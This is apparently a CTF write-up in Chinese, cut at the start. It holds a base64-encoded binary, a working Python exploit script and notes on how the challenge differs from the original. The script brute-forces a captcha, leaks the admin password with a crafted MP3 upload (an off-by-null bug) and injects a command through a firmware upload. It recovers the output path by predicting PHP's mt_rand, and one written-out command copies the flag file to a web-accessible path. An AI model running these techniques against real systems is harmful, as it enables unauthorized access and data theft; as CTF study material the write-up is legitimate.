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XMuYwB1dGlscy5jAGhlYWRlci5jAF9fRlJBTUVfRU5EX18AX2ZpbmkAX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2luaXQAanVuawBmcmVlQEBHTElCQ18yLjIuNQB0YWdfc2V0X2NvbW1lbnQAcHV0Y2hhckBAR0xJQkNfMi4yLjUAc3RybmNweUBAR0xJQkNfMi4yLjUAc3RybmNtcEBAR0xJQkNfMi4yLjUAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0cmNweUBAR0xJQkNfMi4yLjUAcGFyc2VfYXBpY19mcmFtZV9jb250ZW50AHB1dHNAQEdMSUJDXzIuMi41AHNldF9jb21tZW50X2ZyYW1lAGZyZWFkQEBHTElCQ18yLjIuNQB0YWdfZ2V0X2dlbnJlAGdldF90YWdfc2l6ZQBzZXRfdGV4dF9mcmFtZQBtZW1fbXBhc3N3ZABmY2xvc2VAQEdMSUJDXzIuMi41AGdldF90YWdfaGVhZGVyX3dpdGhfYnVmZmVyAHRhZ19zZXRfYWxidW1fY292ZXIAdGFnX3NldF9hcnRpc3QAdGFnX2dldF90cmFjawBzdHJsZW5AQEdMSUJDXzIuMi41AHRhZ19zZXRfdHJhY2sAbWVtX21mcmFtZV9kYXRhAGdldF9taW1lX3R5cGVfZnJvbV9maWxlbmFtZQBuZXdfYXBpY19jb250ZW50AHN0cnJjaHJAQEdMSUJDXzIuMi41AHJlYWRfYWxidW0AbWVtc2V0QEBHTElCQ18yLjIuNQByZWFkX3RpdGxlAHNjYW5kaXJAQEdMSUJDXzIuMi41AGZyZWVfdGFnAGxvYWRfdGFnAGdldF9mcmFtZV90eXBlAGNvbnZlcnRfZ2VucmVfbnVtYmVyAHNldF90YWcAdGFnX3NldF9nZW5yZQBwYXJzZV9jb21tZW50X2ZyYW1lX2NvbnRlbnQAYWxwaGFzb3J0QEBHTElCQ18yLjIuNQB0YWdfc2V0X2NvbXBvc2VyAG1lbWNtcEBAR0xJQkNfMi4yLjUAX2hhc19pZDN2MnRhZwBnZXRfdGFnX2hlYWRlcgBnZW5yZV9udW1fc3RyaW5nAHRtcGZpbGVAQEdMSUJDXzIuMi41AHN0cmNtcEBAR0xJQkNfMi4yLjUAcHV0Y0BAR0xJQkNfMi4yLjUAdGFnX2dldF9jb21tZW50AGl0b2IAZnRlbGxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAG1lbWNweUBAR0xJQkNfMi4xNAB0YWdfZ2V0X3RpdGxlAHRhZ19nZXRfZGlzY19udW1iZXIAYWRkX3RvX2xpc3QAdGFnX2dldF9hbGJ1bV9jb3ZlcgBpbml0X3Byb2MAdGFnX2dldF9hcnRpc3QAcmVtb3ZlX3RhZwBtYWxsb2NAQEdMSUJDXzIuMi41AHBhcnNlX2ZyYW1lAHJlYWRfYXJ0aXN0AGdldF9wYXRoX3RvX2ZpbGUAZnNlZWtAQEdMSUJDXzIuMi41AHBhcnNlX3RleHRfZnJhbWVfY29udGVudAB0YWdfc2V0X2Rpc2NfbnVtYmVyAG5ld19mcmFtZV9saXN0AG5ld19mcmFtZQBzeW5jaW50X2VuY29kZQB0YWdfc2V0X3RpdGxlAHRhZ19zZXRfYWxidW1fY292ZXJfZnJvbV9ieXRlcwBnZXRfZnJvbV9saXN0AGZvcGVuQEBHTElCQ18yLjIuNQB0YWdfZ2V0X2NvbXBvc2VyAHBlcnJvckBAR0xJQkNfMi4yLjUAdGFnX3NldF9hbGJ1bQBwcmludGxuX3V0ZjE2AG5ld19jb21tZW50X2NvbnRlbnQAYXRvaUBAR0xJQkNfMi4yLjUAbmV3X2hlYWRlcgBjaGVja19wYXNzd29yZABzdHJjYXRAQEdMSUJDXzIuMi41AGdldF90YWdfdmVyc2lvbgBjaGFyX3RvX3V0ZjE2AGJ0b2kAcGFyc2UAdGFnX2dldF9hbGJ1bQBzcHJpbnRmQEBHTElCQ18yLjIuNQBuZXdfdGV4dF9jb250ZW50AGZ3cml0ZUBAR0xJQkNfMi4yLjUAdGFnX3NldF95ZWFyAHRhZ19nZXRfeWVhcgBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAG1mcmFtZV9zaXplAHdyaXRlX2hlYWRlcgBsb2FkX3RhZ193aXRoX2J1ZmZlcgB0YWdfc2V0X2FsYnVtX2FydGlzdABfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAZ2V0Y0BAR0xJQkNfMi4yLjUAd3Jpd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')


class php_rand():

    MT_RAND_MT19937 = 0
    MT_RAND_PHP = 1
    php_N = 624
    php_M = 397
    php_left = 0
    php_next = 0
    php_state = [0] * (php_N + 1)
    php_mode = 0

    def __init__(self, seed, mode=0):
        self.php_mt_srand(seed)
        self.php_mode = mode


    def seed(self, seed):
        self.php_mt_srand(seed)


    def rand(self):
        return self.php_mt_rand()


    def hiBit(self, u):
        return u & 0x80000000


    def loBit(self, u):
        return u & 0x00000001


    def loBits(self, u):
        return u & 0x7FFFFFFF


    def mixBits(self, u, v):
        return self.hiBit(u) | self.loBits(v)


    def twist(self, m, u, v):
        return m ^ (self.mixBits(u, v) >> 1) ^ ((-self.loBit(v)) & 0x9908b0df)


    def twist_php(self, m, u, v):
        return m ^ (self.mixBits(u, v) >> 1) ^ ((-self.loBit(u)) & 0x9908b0df)


    def php_mt_initialize(self, seed):
        state = self.php_state
        N = self.php_N
        state[0] = seed & 0xffffffff
        for i in range(1, N):
            state[i] = (1812433253 * (state[i - 1] ^ (state[i - 1] >> 30)) + i) & 0xffffffff
        self.php_state = state


    def php_mt_reload(self):
        self.php_left = 0
        state = self.php_state
        N = self.php_N
        M = self.php_M
        p = 0
        i = N - M
        if self.php_mode == self.MT_RAND_MT19937:
            while i > 0:
                i -= 1
                state[p] = self.twist(state[p + M],state[p + 0],state[p + 1])
                p += 1
            i = M - 1
            while i > 0:
                state[p] = self.twist(state[p+M-N],state[p + 0],state[p + 1])
                p += 1
                i -= 1
            state[p] = self.twist(state[p + M - N],state[p + 0],state[0])
        else:
            while i > 0:
                i -= 1
                state[p] = self.twist_php(state[p + M],state[p + 0],state[p + 1])
                p += 1
            i = M - 1
            while i > 0:
                state[p] = self.twist_php(state[p + M - N],state[p + 0],state[p + 1])
                p += 1
                i -= 1
            state[p] = self.twist_php(state[p + M - N],state[p + 0],state[0])
        self.php_left = N
        self.php_next = 0
        self.php_state = state


    def php_mt_srand(self, seed):
        self.php_mt_initialize(seed)
        self.php_mt_reload()


    def php_mt_rand(self):
        if self.php_left == 0: self.php_mt_reload()
        self.php_left -= 1
        s1 = self.php_state[self.php_next]
        s1 ^= (s1 >> 11)
        s1 ^= (s1 << 7) & 0x9d2c5680
        s1 ^= (s1 << 15) & 0xefc60000
        self.php_next += 1
        return ( s1 ^ (s1 >> 18)) >> 1


# get random string
def rand_str(length=8):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))


# get method
def get(session, url):
    retry = 0
    while True:
        retry += 1
        try:
            if session:
                r = s.get(url, timeout=timeout)
            else:
                r = requests.get(url, timeout=timeout)
        except:
            if retry >= retry_count:
                print('timeout or http 500')
                exit()
            continue
        break
    return r


# post method
def post(session, url, data, files=''):
    retry = 0
    while True:
        retry += 1
        try:
            if session:
                if files=='':
                    r = s.post(url, data=data, timeout=timeout)
                else:
                    r = s.post(url, data=data, files=files, timeout=timeout)
            else:
                if files=='':
                    r = requests.post(url, data=data, timeout=timeout)
                else:
                    r = requests.post(url, data=data, files=files, timeout=timeout)
        except:
            if retry >= retry_count:
                print('timeout or http 500')
                exit()
            continue
        break
    return r


# login with username and password
def login(username, password):
    url = site_url + '/hotload.php?page=login'
    data = {'username': username, 'password': password}
    if logging: print(url)
    if logging: print(data)
    res = post(1, url, data)
    if logging: print(res.text)
    url = site_url + '/hotload.php?page=upload'
    res = get(1, url)
    if 'fileuploaded' not in res.text:
        return False
    return True


# reg with username and password
def reg(username, password):
    url = site_url + '/hotload.php?page=reg'
    if logging: print(url)
    res = get(1, url)
    show_code = ''
    show_calc = ''
    try:
        show_code = res.text.split('show_code">')[1].split('<')[0]
        show_calc = res.text.split('show_calc">')[1].split('<')[0]
        if logging: print(len(show_calc))
        if len(show_calc) != 6:
            print('invalid show_calc length')
            return False
    except:
        return False
    if logging: print("show_code",show_code)
    if logging: print("show_calc",show_calc)
    code = ''
    for i in range(1, 100000000):
        code = str(i)
        if hashlib.md5(code + show_code).hexdigest()[:6] == show_calc.lower(): break
    data = {'username': username, 'password1': password, 'password2': password, 'code': code}
    if logging: print(data)
    res = post(1, url, data)
    if logging: print(res.text)
    if '"status":1' in res.text:
        return True
    return False


# upload music [diff]
def upload_music():
    url = site_url + '/hotload.php?page=upload'
    data = {'file_id': '0'}
    music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
    music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00'
    files = {'file_data': music}
    if logging: print(url)
    if logging: print(data)
    res = post(1, url, data, files)
    if logging: print(res.text)
    if '"status":1' in res.text:
        try:
            # n54LuyJyYLVpVO2w
            return b64decode(json.loads(res.content.strip())['artist'])[:16]
        except:
            return ''
    return ''


# upload firmware [diff]
def upload_firmware(command):
    if len(command) > 0x100: return -1
    url = site_url + '/hotload.php?page=firmware'
    data = {'file_id': '0'}
    command = command.ljust(0x100, '\x00')
    firmware = preset_firmare.replace('a' * 0x100, command)
    # firmware = preset_firmare
    files = {'file_data': firmware}
    if logging: print(url)
    if logging: print(data)
    res = post(1, url, data, files)
    if logging: print("Upload: " + res.text)
    if '"status":1' in res.text:
        if 'Date' in res.headers.keys():
            print("Date Header: " + res.headers['Date'])
            return int(datetime.strptime(res.headers['Date'], "%a, %d %b %Y %X %Z").strftime("%s")) + time_zone_offset
        else:
            return int(time.time())
    return -1


# get firmware version
def firmware_version(path):
    if len(path)>0x40: return ''
    url = site_url + '/hotload.php?page=firmware'
    data = {'path': path}
    if logging: print(url)
    if logging: print(data)
    res = post(1, url, data)
    if logging: print(res.text)
    if '"status":1' in res.text:
        try:
            return json.loads(res.content.strip())['info']
        except:
            return ''
    return ''


# show result
def show_result(vuln1, vuln2, msg):
    result = ''
    if vuln1 == -1:
        result += 'Vuln 1 check: unknown.\n'
    elif vuln1 == 0:
        result += 'Vuln 1 check: fail.\n'
    else:
        result += 'Vuln 1 check: pass.\n'
    if vuln2 == -1:
        result += 'Vuln 2 check: unknown.\n'
    elif vuln2 == 0:
        result += 'Vuln 2 check: fail.\n'
    else:
        result += 'Vuln 2 check: pass.\n'
    result += msg
    print(result)
    exit()


# get flag
def get_flag():
    path = 0
    vuln1 = -1
    vuln2 = -1
    logined = -1
    if path == 0:
        username = rand_str(8)
        password = rand_str(8)
        res = reg(username, password)
        if not res: show_result(vuln1, vuln2, 'register fail')
        res = login(username, password)
        if not res: show_result(vuln1, vuln2, 'login fail')
        time.sleep(3)
        res = upload_music()
        if res == '':
            vuln1 = 0
            show_result(vuln1, vuln2, 'leak admin password fail')
        admin_password = res
        global s
        s = requests.session()
        res = login('admin', admin_password)
        if not res:
            vuln1 = 0
            show_result(vuln1, vuln2, 'leak wrong admin password')
        vuln1 = 1
    time.sleep(3)
    guess_server_time = upload_firmware(command)
    print(guess_server_time)
    if guess_server_time == -1:
        show_result(vuln1, vuln2, 'upload fail')
    vuln2 = 0
    succ_keyword = '固件版本号:'
    if vuln2 == 0:
        for i in range(20):
            rander = php_rand(guess_server_time - i)
            path = hashlib.md5(str(rander.rand()) + '182.91.60.190').hexdigest()
            try:
                prev_flag = firmware_version(path).encode('utf-8')
            except:
                continue
            if succ_keyword in prev_flag:
                vuln2 = 1
                prev_flag = prev_flag.replace(succ_keyword, '').strip()
                break
    show_result(vuln1, vuln2, prev_flag)


if __name__ == '__main__':
    if len(argv) != 3:
        print("wrong params.")
        print("example: python %s %s %s" % (argv[0], '127.0.0.1', '80'))
        exit()
    ip = argv[1]
    port = int(argv[2])
    site_url = 'http://%s:%d' % (ip, port)
    get_flag()

和原题不同的是有以下几个地方:

1、验证码改为六位。

2、上传音乐,标题那里的 size 需要改改,原先是 0x300,直接溢出了,这里是 0x70,off by null 了。(不懂 PWN,摆手)

3、读源码那里需要二次编码,要不然会被拦截 .php。

4、最后的 firmware 上传那里,国赛的题是直接取用户名,这里还整个 IP 地址。

国赛

5、最后的加载固件读版本号,国赛那里是直接读版本号之后回显,这里则是没回显了,需要自己想办法带出来,所以我就读出之后输出到可访问到的文件了。

/usr/bin/tac /flg >> /var/www/html/uploads/music/glzjin.txt

国赛

3、运行,看到 Bad Version就说明成功了。

4、访问 /uploads/music/glzjin.txt,得到 flag。

国赛时候没做出来,这回又碰到这个题,就着 WriteUp 也算收获了一些东西了。